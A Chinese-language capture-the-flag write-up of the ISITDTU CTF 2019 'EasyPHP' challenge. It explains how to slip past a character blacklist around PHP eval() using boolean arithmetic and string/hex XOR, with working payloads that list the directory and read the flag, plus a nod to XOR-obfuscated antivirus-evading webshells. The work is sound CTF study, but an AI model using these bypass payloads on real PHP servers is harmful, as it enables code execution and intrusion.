在 ISITDTU CTF 2019 上做了一道比较有意思的代码审计题,主要应用了 php 异或等操作进行 getshell,收获还是挺多的。最近越来越喜欢看这种代码简单,但是又蕴含玄机的东西了…
Description
Don’t try to run any Linux command, just use all the PHP functions you know to get the flag
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
Write Up
Explation
题目代码比较简单,首先看看第一个正则:
再看看第二个过滤,strtolower
将字符串转换为小写,用count_chars
返回由所有使用了的字节值组成的字符串,再判断其中每个字符累计出现次数是否大于 13
Doing
Step 1
既然正则约束了比较多的条件,自然我们首先得看看还有哪些可用的。
<?php
$arr = get_defined_functions()['internal'];
foreach ($arr as $key => $value) {
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $value) ){
unset($arr[$key]);
continue;
}
if ( strlen(count_chars(strtolower($value), 0x3)) > 0xd ){
unset($arr[$key]);
continue;
}
}
var_dump($arr);
?>
得到还剩下以下内置函数可用:
array(15) {
[206]=>
string(5) "bcmul"
[1060]=>
string(5) "rtrim"
[1066]=>
string(4) "trim"
[1067]=>
string(5) "ltrim"
[1078]=>
string(3) "chr"
[1102]=>
string(4) "link"
[1103]=>
string(6) "unlink"
[1146]=>
string(3) "tan"
[1149]=>
string(4) "atan"
[1150]=>
string(5) "atanh"
[1154]=>
string(4) "tanh"
[1255]=>
string(6) "intval"
[1403]=>
string(4) "mail"
[1444]=>
string(3) "min"
[1445]=>
string(3) "max"
}
这样这题看起来与国赛那个 Love_Math 题目就有点类似了,看起来intval
跟chr
貌似有点搞头,但是数字却又被 ban 掉了…那我们就只能另寻他路了…
Step 2
虽然双引号跟单引号都被 ban 掉了,但是我们知道 php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型,所以即使双引号跟单引号被 ban 了其实并没有太大的影响。而我们还可以知道,字符串还可以用!
操作符来进行布尔类型的转换,如下:
php > var_dump(!a);
PHP Notice: Use of undefined constant a - assumed 'a' in php shell code on line 1
bool(false)
php > var_dump(!!a);
PHP Notice: Use of undefined constant a - assumed 'a' in php shell code on line 1
bool(true)
可以再加一个@
忽略 notice 输出
<?php
var_dump(@a); //string(1) "a"
var_dump(!@a); //bool(false)
var_dump(!!@a); //bool(true)
而对 bool 类型使用加法的时候, php 则会将 bool 类型处理为数字,true
转换为 1 , false
为 0 ,所以我们又可以利用这一点来实现数字计算:
<?php
var_dump(!!@a + !!@a); //int(2) 1+1
var_dump((!!@a + !!@a) * (!!@a + !!@a + !!@a + !!@a)); //int(6) (1+1)*(1+1+0+1)
所以,这样大概我们就可以利用chr()
进行数字转换得到字符了,并且我们还可以利用"phpinfo"()
的特性,通过字符串拼凑,可以得到 phpinfo:
(chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) + !!@a)
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) * ((!!@a + !!@a + !!@a) ** (!!@a + !!@a) ))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) - !!@a - !!@a)
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a) - !!@a))();
但是这里要需要用到.
进行字符串拼接,然而.
又被 ban 掉了,所以我们得另寻他路
Step 3
观察正则表达式,我们还可以使用的符号有:
['!', '%', '+', '-', '*', '/', '>', '<', '?', '=', ':', '@', '^']
我们可以注意到另一个比较明显的点,就是^
异或符号没有被 ban ,在一些免杀马里面就经常用^
异或来进行混淆。通过查阅 php文档 我们可以知道
If both operands for the &, | and ^ operators are strings, then the operation will be performed on the ASCII values of the characters that make up the strings and the result will be a string. In all other cases, both operands will beconverted to integers and the result will be an integer.
字符串的异或操作是基于字符的 ASCII 码来进行操作的,例如:
php > var_dump(@a^"1");
string(1) "P"
php > echo ord("a");
97
php > echo ord("1");
49
php > echo 97^49;
80
php > echo chr(80);
P
我们就可以利用之前的数字操作加上异或就可以得到我们自己想要的操作了。
php > var_dump(@p^"1");
string(1) "A"
php > var_dump(@h^"1");
string(1) "Y"
php > var_dump(@i^"1");
string(1) "X"
php > var_dump(@n^"4");
string(1) "Z"
php > var_dump(@f^"1");
string(1) "W"
php > var_dump(@o^"5");
string(1) "Z"
php > var_dump(@phpinfo^"1111415");
string(7) "AYAXZWZ"
php > var_dump(@AYAXZWZ^"1111415");
string(7) "phpinfo"
接下来就是数学时间了,另外,对于 int 型到 string 的转换,我们可以利用trim
进行操作。
var_dump(
trim(
(!!@a + !!@a + !!@a + !!@a + !!@a) *
((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) *
((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a+ !!@a+ !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a) - !!@a - !!@a- !!@a)
) ^ @AYAXZWZ
);//phpinfo
结果回显you are so close, omg
Step 4
绕过了正则接下来就是处理每个字符出现次数得小于 13 的问题了。
所以我们需要精简一下异或操作,尽量找一些相同的字符进行操作,我们可以找到如下的异或关系:
p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
h: |Q ^ 9|X ^ 0|Y ^ 1|Z ^ 2|
p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
i: |Q ^ 8|X ^ 1|Y ^ 0|Z ^ 3|
n: |V ^ 8|W ^ 9|X ^ 6|Y ^ 7|Z ^ 4|
f: |Q ^ 7|R ^ 4|T ^ 2|U ^ 3|V ^ 0|W ^ 1|
o: |V ^ 9|W ^ 8|X ^ 7|Y ^ 6|Z ^ 5|
尽量找到相同字符进行拼凑,我们就可以得到AYAYYRY ^ 1110746
,AYR
加上trim
中的tim
,再加上!!(+*);
,我们这样只用 13 个字符得到了phpinfo()
。
(AYAYYRY^trim(((((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a)))+(((!!a+!!a))**((!!a))))))();
这里可能需要注意的就是将+
进行 urlencode ,因为+
在 url 中是空格。
Step 5
所以我们只需要按照同样的编码方式,尽量找相同的字符,就可以执行相关的 php 函数了,通过以下步骤就可以拿到 flag 了
var_dump(scandir(getcwd()));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(34) "n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt" }
var_dump(file_get_contents(end(scandir(getcwd()))));
string(34) "ISITDTU{Your PHP skill is so good}"
Another Way-Step 1
单次异或可能会有一定的局限性,我们也可以通过两次或者多次异或来进行字符串的构造:
(qiqhnin^iiiiibi^hhhhimh)();//phpinfo()
Another Way-Step 2
接着我们就可以通过十六进制异或来进行字符串操作了。例如:
print_r ^ 0xff -> 0x8f8d96918ba08d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))
scandir ^ 0xff -> 0x8c9c9e919b968d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))
. ^ 0xff -> 0xd1 -> ((%ff)^(%d1))
当然也可以不使用 0xff ,使用以下 payload 就可以在没有字符限制的时候进行列目录了:
((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))(((%ff)^(%d1))));
Another Way-Step 3
通过总结我们所需要的字母:._acdinprst
,然后进行类似的构造:
t = s^c^d
n = i^c^d
r = a^c^p
print_r -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%9e%96%96%8c%a0%9e)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))
scandir -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f))
即可进行函数操作了
Another Way 2
看这题的时候想起了p牛的几篇文章,大家可以参考一下:
这两篇也给了我当时很大的启发以及思路。尤其是第二篇中的 payload ,其实可以直接拿来用
大家可以详细的参考这两篇文章,p牛第一篇是通过位运算以及自增来进行操作,第二篇在 php7 环境下则是通过取反来进行操作,这里前面就简单介绍了一下通过异或的操作形式。
Bonus
题外话,看到 @Mr.Liu 师傅写的一个随机异或免杀的马,还是比较有意思的一个项目:Github地址
Reference
[EasyPHP (871 points)](https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU CTF 2019 Quals/web/easyphp.md)